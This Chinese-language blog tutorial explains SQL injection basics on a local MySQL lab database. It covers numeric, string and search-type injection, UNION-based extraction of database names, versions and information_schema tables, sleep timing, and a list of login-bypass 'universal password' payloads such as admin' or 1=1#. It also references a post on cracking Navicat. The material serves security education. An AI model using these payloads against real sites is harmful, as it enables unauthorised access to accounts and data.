banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

SQL注入--基礎篇

起因#

一直以來都準備做的滲透基礎教程

在介紹完了基本的信息收集和滲透環境搭建篇之後算是正式開始

可能會做很久也不一定做完,但是一定會更新下去

** 聲明:作者初衷用於分享與普及網絡安全知識,若讀者因此作出任何危害網絡安全行為後果自負,與作者及本網站無關 **

SQL 注入介紹#

SQL 語句:SQL (Structured Query Language),結構化的查詢語言,是關係型數據庫通訊的標準語言。

查詢:SELECT statement FROM table WHERE condition
刪除記錄:DELETE FROM table WHERE condition
更新記錄:UPDATE table SET field=value WHERE condtion
添加記錄:INSERT INTO table field VALUES(values)

SQL 注入 (SQL Injection):

是程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患,用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據或進行數據庫操作

SQL 注入攻擊流程:

1. 判斷注入點 2. 判斷注入點類型 3. 判斷數據庫類型 4. 獲取數據庫數據,提權

SQL 注入原理分析#

本篇教程應該是基於 shack2 大佬的 SQL 注入教程寫的

記不太清楚了因為筆記創建時間是19-03-01:

image

而且現在shack2大佬的博客已經關站,只留了個github 地址

大佬的很多工具也是非常好用的,後面也會介紹到,本文中途有一些大佬有的環境我沒有的

只能使用大佬的圖片了但是肯定也是看得懂的

我這裡使用本地的Navicat for MySql工具和phpstudy提供的MySql數據庫來講解

這兩個工具在前面我都介紹過,分別為

  • <<Navicat 家族產品安裝及破解>>
  • <<滲透練習環境搭建 (長期更新)>>

Navicat工具連接上本地的mysql數據庫之後新建一個數據庫test

test中新建一個表new:

image

填入以下數據:

idtitlecontenttype
1我是 SQL 注入你知道嗎?1
2我不是 SQL 注入你還不知道嗎?2

然後用查詢工具運行以下語句插入一行:

INSERT INTO test.new VALUES(3,'test','test',3)

image

點擊運行,刷新 new 表,發現數據已經被插進去了:

image

來一個基礎的查詢:

image

那我們要查找部分數據可以用 limit (x,y) 來查詢從第 x 條開始的 y 條數據

比如這裡查詢從第 0 條開始的 1 條數據(sqlserver 裡面的關鍵字是用的 top):

image

image

數字型注入#

我們查詢id=1

image

查詢id=1 AND 1=2,沒有數據:

image

到這我們已經能判斷有一個 SQL 注入了,如果沒有過濾的話就可以盲注了,我們用or 1=1(永遠為真) 試一下:

image

也可以這麼理解:

SELECT * FROM test.new WHERE (id=1 OR 1=1)

我們試一下盲注,直接加一個'

image

打印出了 SQL 的報錯信息,說明支持錯誤顯示注入

我們用 Union 來試一下,直接Union Select 1

image

報錯了,列不對,所以說我們用order by來判斷列:

image

order by加到 5 報錯了 (也可能是沒數據):

image

說明這個表有 4 列數據,如果原查詢語句是:

SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'

這時候你再加個ORDER BY可能也沒關係:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'

image

但是當有時候程序自身帶了ORDER BY,比如原語句是:

SELECT * FROM test.new WHERE id=1 ORDER BY id DESC

這時候要在 1 這個位置上再插入一個ORDER BY進去:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC

這條語句就會報錯:

image

這時候我們就可以用 #註釋掉後面的語句 (有時候要考慮字符轉碼 %23,因為在 URL 中 #表示標記錨連接,直接定位到網頁內位置的):

SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC

image

下面我們說一下怎樣判斷某個數據庫存不存在,我們可以用exists函數:

SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)

image

返回正常說明admin這個表存在,MYSQL裡面是自帶information_schema這個庫的

那我們看一下存不存在information_schema.tables就知道這個數據庫是不是MySQL數據庫了:

image

返回正常,我們通過Union SELECT來看哪一個列能支持顯示 (這裡使用的是大佬教程裡的圖片):

image

** 這裡由於我使用的環境不好只顯示部分位,實際很多靶場都是有多字段只顯示部分字段的情況 **

這個圖就明顯說明第 2 列能被顯示出來,但是如果只支持顯示一個查詢結果很有可能後面的結果我們看不見

我們可以把前面的加一個AND 1=2否定掉,這樣就只會顯示我們後面的一條數據了:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231

image

知道了顯示位之後我們就可以在顯示位上搞事情了,先來查詢個數據庫:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231

image

再來查詢個版本:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231

image

可以看到版本號為5.5.53,再來查詢information_schema數據庫的所有表名:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables

image

延時函數直接 sleep (10) 就行了:

image

字符型注入#

我們默認測試的地址為:

SELECT * FROM test.new WHERE type=2

image

先來一個AND 1=1

image

再來個1=2

image

發現都沒有輸出,也沒有報錯,那怎麼辦呢?我們分析一下字符:原來的語句是:

SELECT * FROM test.new WHERE type='xxx'

現在我們要查詢type=2的同時還要把And 1=1加進去:

SELECT * FROM test.new WHERE type='2' AND 1=1'

後面還有一個單引號,所以這裡最適合的就是用字符型的把後面單引號閉合掉:

SELECT * FROM test.new WHERE type='2' AND '1'='1'

也就是我們的查詢數據為:2' AND '1'='1,這樣就把2查詢了也把AND 1=1加進去了:

image

其他的就和上面的數值型注入差不多了,比如order by

SELECT * FROM test.new WHERE type='2' ORDER BY 1

image

Union:

SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL

image

搜索型注入#

一般語句是這樣:

SELECT * FROM test.new WHERE title LIKE '%xxx%'

比如:

image

那我們就可以用程序本身的 %' 把前面的閉合掉,然後再 #註釋掉後面的:

image

image

因為我們這裡是 POST 方式提交的,不用編碼,如果是 GET 方法提交的,這裡需要先編碼

image

所以我們知道查詢語句是 '% xxx%' 的情況下直接搜索 %' and '%'=' 直接就閉合

萬能密碼#

admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)

其實就是閉合了的意思,為了介紹方便我在test數據庫裡再建一個admin表,數據如下:

idusernamepasswd
7testtest
8nullnull
9nullnull
10aaaxx
11aaaxx
12

image

我們從這句經典登錄來分析:

SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'

image

當我們要在中間插入or 'a' ='a'的時候,也就是構成了這樣的語句:

SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'

image

能查詢成功,此時我們的輸入的部分為:

aaa' OR 'a'='a

這樣就能把username的前後兩個’閉合,然後我們就能查詢任意用戶名的數據

查詢出來的都是passwordxx的賬戶的數據:

image

但是這是在password是正確的前提下的,所以最好我們把它輸成空:

image

也可以用註釋符:

SELECT * FROM test.admin WHERE username='xxx' OR 1=1#

image

就能查詢出所有數據,簡而言之就是閉合前面的username並且保持為真

然後 #註釋掉後面的passwordOK了,這就是萬能密碼admin' or 'a'='a的來源

所以在萬能密碼的條件下,只需要知道username我們就能去登錄賬戶了

當萬能密碼用在password處的時候,語句是這樣的:

SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'

image

因為程序把前面的一部分看為一個整體了:

SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')

所以這個永遠是真,但是登錄處肯定不會直接SELECT *的,但是也能得到它SELECT的所有結果。

基礎原理講的還是很枯燥的,後面會放一些例子及簡單的記憶技巧,敬請期待!

本文完。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。